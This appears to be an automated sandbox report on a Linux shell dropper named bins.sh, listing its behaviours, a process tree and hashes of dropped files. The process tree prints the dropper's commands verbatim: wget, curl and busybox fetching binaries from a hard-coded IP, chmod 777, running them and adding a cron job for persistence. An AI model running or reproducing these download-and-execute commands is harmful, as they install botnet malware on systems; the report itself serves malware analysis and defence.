Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/11/2024, 01:15

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241106-bmcrlsvmbr
  • SHA256 cc685abb25c89411a283ec172171d2c67e2914ed59556ea4c15d6d71cf36ab1d
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (2030) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:662
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:668
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:683
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Writes file to tmp directory
          PID:690
        • /bin/chmod
          chmod 777 sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • File and Directory Permissions Modification
          PID:692
        • /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          ./sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:693
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:695
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:696
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:697
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:698
              • /bin/rm
                rm sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                2⤵
                  PID:700
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                  2⤵
                    PID:703
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                    2⤵
                      PID:704
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                      2⤵
                      • Writes file to tmp directory
                      PID:705
                    • /bin/chmod
                      chmod 777 aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                      2⤵
                      • File and Directory Permissions Modification
                      PID:792
                    • /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                      ./aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                      2⤵
                      • Executes dropped EXE
                      PID:794
                    • /bin/rm
                      rm aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                      2⤵
                        PID:797
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/Om0W0uwIoTbDSWaXn9BXoJOerWkFCiFN6A
                        2⤵
                          PID:798

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx

                            • Path /tmp/aLa7C3iyR4eO9Zm0hO8up0HZvL3upTbZMx
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP

                            sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD

                            • Path /tmp/sjIMk0XZCnfR9wlxrUqlLufkKE4tjSTxBD
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP

                            tmp.u1tUQU

                            • Path /var/spool/cron/crontabs/tmp.u1tUQU
                            • Size 210B
                            • SHA256 3f469dabac1fcbebdf2d55882b740a2be94e079cc90e649a129dcf5fac71a5fa
                            • MD5 SHA1 SHA512